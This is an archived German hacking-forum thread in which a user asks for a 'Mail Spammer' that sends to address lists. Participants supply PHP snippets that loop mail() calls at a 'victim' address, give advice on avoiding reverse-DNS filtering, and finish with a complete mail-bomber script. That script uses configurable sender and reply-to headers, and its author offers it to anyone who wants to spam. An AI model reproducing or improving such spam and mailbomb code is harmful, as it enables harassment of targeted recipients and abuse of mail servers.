PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [S] Suche einen funktionsreichen Mail Spammer



kalachnikov
07.02.2010, 16:52
Hallo,
wie der Titel schon sagt bin ich auf der Suche nach einem guten Mail Spammer mit dem man auch Emails aus einer Liste verschicken kann.
Wäre euch sehr dankbar, wenn ihr einen guten Mail Spammer kennt..
Wenn nicht muss ich mir halt einen eigenen schreiben :)

70b14s
13.02.2010, 10:45
Hi hab zwar keinen Source oder so für dich aber mit ein paar PHP Kentnisse könntest du dir die Mail PEAR Klasse mal anschauen damit sollte es ein leichtes sein so etwas umzusetzten..

lg

wacked
13.02.2010, 11:26
fopen(),fread(),fclose(),explode()=emails aus einer liste auslesen
maile()=mailen

VeN0m
13.02.2010, 11:34
Wenn Du eine Liste hast, in der pro Zeile eine eMailadresse steht dann geht es auch einfacher:



<?php

$liste = "emails.txt";

foreach(file($liste) AS $line) {

$mail = trim($line); //Ggf. unnoetige Zeichen wie PHP-Umbrueche oder Tabulatoren entfernen
//Mail an $mail verschicken...

}

?>


file() (http://de.php.net/manual/de/function.file.php) liest eine Datei Zeile für Zeile in ein Array ein. Durch die foreach() (http://de.php.net/manual/de/control-structures.foreach.php)-Schleife kannst Du dann mit jeder Zeile eine Aktion durchführen. trim() (http://de.php.net/manual/de/function.trim.php) entfernt \r, \n, \t und ähnliche Zeichen, die z.B. für Zeilenumbrüche gedacht sind.

Wie Du die eMail verschickst wollte ich gerade nicht mit in den Code schreiben, da ich das nicht all zu oft mache.
Helfen können Dir auf alle Fälle das Mailbuch (http://de.php.net/manual/de/book.mail.php) und ins besondere die Funktion mail() (http://de.php.net/manual/de/function.mail.php).

Ich hoffe, das hilft Dir.

PS.: Ich habe die Funktionen und Bücher alle verlinkt, damit Du sie Dir ansiehst und nicht blind irgendeinen Sourcecode nimmst ;).

par0noid
13.02.2010, 11:36
es gibt eine Mail funktion


mail(string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]])

BSP:


mail("opfer@mail.de", "SPAM", "Du wurdest gespammt");

Das ganze als Spammer z.B. wenn du 20 Mails schicken willst:


for($i = 0; $i < 20; $i++) {
mail("opfer@mail.de", "SPAM", "Du wurdest gespammt");
}

Die Mail wird über den auf dem Server installierten SMTP Server versendet.
Dieser muss über einen akzeptierten ReverseDNS-Eintrag verfügen damit die Email zu allen anderen Mailadressen bsp. Web, GMX - gesendet werden darf, sonst wird sie nämlich gefiltert.


Eine andere Möglichkeit ist die Verwendung der IMAP (http://www.php.net/manual/de/book.imap.php) Klasse in PHP.

Viel Spaß

-Par0noid

kalachnikov
13.02.2010, 15:35
ok, danke. Werde das mal demnächst in PHP realisieren.

@par0noid (http://free-hack.com/member.php?u=36177)
a propos Mailbomber..habe ich gestern einen geschrieben..;)


<?php
$i = 0 ;
while($i < 20){ /*2000 is a number of messages*/
mail("test@test.de",
"juhu@gmx.de",
"subject",
"body\n hello y bombarding your mail box\n bye\n");
$i = $i + 1 ;
echo "messages send are $i" ;
}
echo "mailbombing finish" ;
?>

VeN0m
13.02.2010, 16:09
$i = $i + 1 ;


Dafür gibt es $i++ ;). Ist quasi eine Kurzform für $i = $i+1. Nur mal so nebenbei.
Und eine for()-Schleife wie in Par0noid seinem Beispiel ist in so einem Fall oft einfacher und schöner ;).
Ansonsten viel Erfolg.

par0noid
14.02.2010, 21:47
das ist ein Inkrementierungsoperator *klugscheiß* :D

@kalachnikov: bei Schleifen wo du vor dem Durchlauf ein Ende definieren kannst und deren Aufgabe darin liegt zu zählen verwendet man normalerweise immer eine For-Schleife.
Aufgrund der Parameter etc.
Kein Muss, aber man sollte sich das so angewöhnen

kalachnikov
14.02.2010, 22:00
ja habs doch schon längst begriffen.

$_staX
14.02.2010, 22:07
[...]
echo "messages send are $i" ;
[...]


Kleiner Tipp: Vielleicht solltest du bei Deutsch bleiben!

kalachnikov
14.02.2010, 22:21
hab das jetzt mal so gemacht..Für alle die spammen wollen, könnt ihr das gerne benutzen.


<?php
$mailtext = '<html>
<head>
<title>Du wurdest gebammt!</title>
</head>
<body>
<h2>BAMMMBAMMBAMMBAMBMABAMBAMBAMBAMBAM</h2>
</body>
</html>
';
$empfaenger = ""; //Mailadresse
$absender = "";
$betreff = "";
$antwortan = "";

$header = "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html; charset=iso-8859-1\r\n";

$header .= "From: $absender\r\n";
$header .= "Reply-To: $antwortan\r\n";
// $header .= "Cc: $cc\r\n"; // falls an CC gesendet werden soll
$header .= "X-Mailer: PHP ". phpversion();

for($i = 0; $i < 5; $i++) {
mail( $empfaenger,
$betreff,
$mailtext,
$header);
}
echo "Opfer wurde zu Ende gebombt!" ;
?>